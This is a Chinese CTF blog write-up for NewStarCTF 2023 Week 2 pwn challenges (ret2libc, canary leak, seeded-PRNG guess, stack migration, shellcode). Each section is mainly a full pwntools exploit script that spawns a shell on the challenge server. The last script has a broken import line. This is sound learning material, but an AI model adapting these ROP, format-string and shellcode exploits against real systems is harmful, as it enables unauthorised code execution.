NewStarCTF 2023 [WEEK 2] PWN

简介:

第二周题目上难度了,有几题做的比较棘手不会做>_<,啊啊啊!!!


ret2libc

看题目名字ret2libc,就知道是经典的考点,泄露libc,不懂小伙伴可以去看这个上面写的很详细Pwn Pwn Pwn!!! 技巧(1),老规矩查看一下保护机制,只打开NX,并且该有的都有

ida反编译一下,发现无system,无binsh,所以我们只能通过泄露libc,构造system和binsh

exp如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io =process('./111')
io =remote('node4.buuoj.cn',25664)
elf =ELF('./111')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr =0x400698
rdi_addr =0x400763
ret_addr =0x400506

payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
io.recvuntil(b'Show me your magic again\n')
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

#put_addr =u64(io.recv(6).ljust(8,b'\x00'))
#print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload=b'a'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
io.recvuntil(b'Show me your magic again\n')

io.sendline(payload)
io.interactive()

canary

一样是一道经典题型canary,开启了canary和NX,还有格式化字符串漏洞,经典思路就是通过格式字符串去泄露canary(如果没有格式化字符串漏洞,那只能通过溢出的形式去泄露canary),但是我们需要在 gdb 里面找到canary是第几个参数,运行文件就可以发现偏移是6

ida反编译一下,你会发现有后门函数,就不需要像上一题一样要自己泄露libc了,同时还有格式化字符串漏洞,刚好可以帮我们打印出canary的值

把断点打在printf,gdb调试寻找canary的值,你就可以发现canary是第十一个参数(这个你不会看不出来吧 -_-),接下来就是套路了

exp如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./111')
p = remote('node4.buuoj.cn',27406)
elf = ELF('./111')

backdoor =0x401262
ret_addr =0x40101a

payload =b'%11$p'
p.sendline(payload)
p.recvuntil(b'Oh thanks,There is my gift:\n')
canary = int(p.recv(18), 16)

payload =b'a'*(0x30 -8) + p64(canary) + p64(0) + p64(ret_addr) + p64(backdoor) 

p.send(payload)
p.interactive()

secret number

老规矩查看一下保护机制,保护全开看着有点吓人,没事代码审计一下

认真代码审计,你就会发现只需要让 v5等于 secret就可以直接获得flag,v5是我们自己输入的,secret是一个伪随机数,所以我们只需要让时间做种子,输入伪随机数即可

exp如下:

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./111')
p = remote('node4.buuoj.cn',28725)
elf = ELF('./111')
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

seed=libc.time(0)
libc.srand(seed)
num1=libc.rand()

p.sendlineafter(b'Give me some gift?(0/1)\n',b'0')

p.sendlineafter(b'Guess the number\n',str(num1))
p.interactive()

stack migration

只开启了NX,ida反编译,就会发现存在溢出,但是溢出的长度只有0x10,不够构造shellcode,所以只能通过栈迁移来解决这一问题

ida一下,代码审计一下,你会发现往buf里面输入数据,然后就会打印出栈地址,然后就是一个细节需要注意(红色框住的),v2地址就是栈地址 +8(这里你要明白栈是怎么存储数据的,高地址在下,低地址在上,这就是为什么加8的原因),第二个read发生了栈溢出,但是溢出的长度不足以构造rop链,所以只能进行栈迁移(leave; ret ; leave相对于是mov esp,ebp;pop ebp;ret是pop eip;)这样就简单明了了,下面就是需要注意一下接受数据(是否有空格,这里我踩坑了-_-)

exp如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

p =remote('node4.buuoj.cn',26912)
#p =process("./111")
elf =ELF('./111')
libc=ELF('./libc.so.6')

got_addr =elf.got['puts']
plt_addr =elf.plt['puts']
rdi_addr =0x401333
ret_addr =0x4012AB
main =0x4011FB
leave =0x4012AA

p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack =int(p.recv(14),16) +8

p.recvuntil(b'more infomation plz:\n')

payload =b'a'*8 +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main)
payload =payload.ljust(80,b'a')
payload +=p64(stack) +p64(leave)
p.send(payload)

p.recvuntil("maybe I'll see you soon!\n")
puts_addr =u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))

p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack =int(p.recv(14),16) +8

payload =b'a'*8 +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
payload =payload.ljust(80,b'a')
payload +=p64(stack) +p64(leave)
p.send(payload)

p.interactive()

shellcode revenge

查看一下保护机制,开启NX和Canary,ida反编译一下,代码审计看的脑壳痛

把官方wp贴这里,后续懂了再来改

from pwn import 
*context(arch='amd64',os='linux',log_level='debug')
p = remote("node4.buuoj.cn",27904)
#p = process('./shellcodere')

payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30'  #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38'  #31 42 38 xor DWORD PTR [rdx+0x38], eax
payload += b'\x59'*(0x30-len(payload))  #59 pop rcx
payload += b'\x4e\x44'*2    #syscall  0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A'*8           #xor key

p.sendlineafter("magic\n",payload)
pause()

p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))
p.interactive()

总结:

栈迁移这块还不是很熟悉,shellcode的相关手法还得继续学习-_-,还得继续努力啊!!!

  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值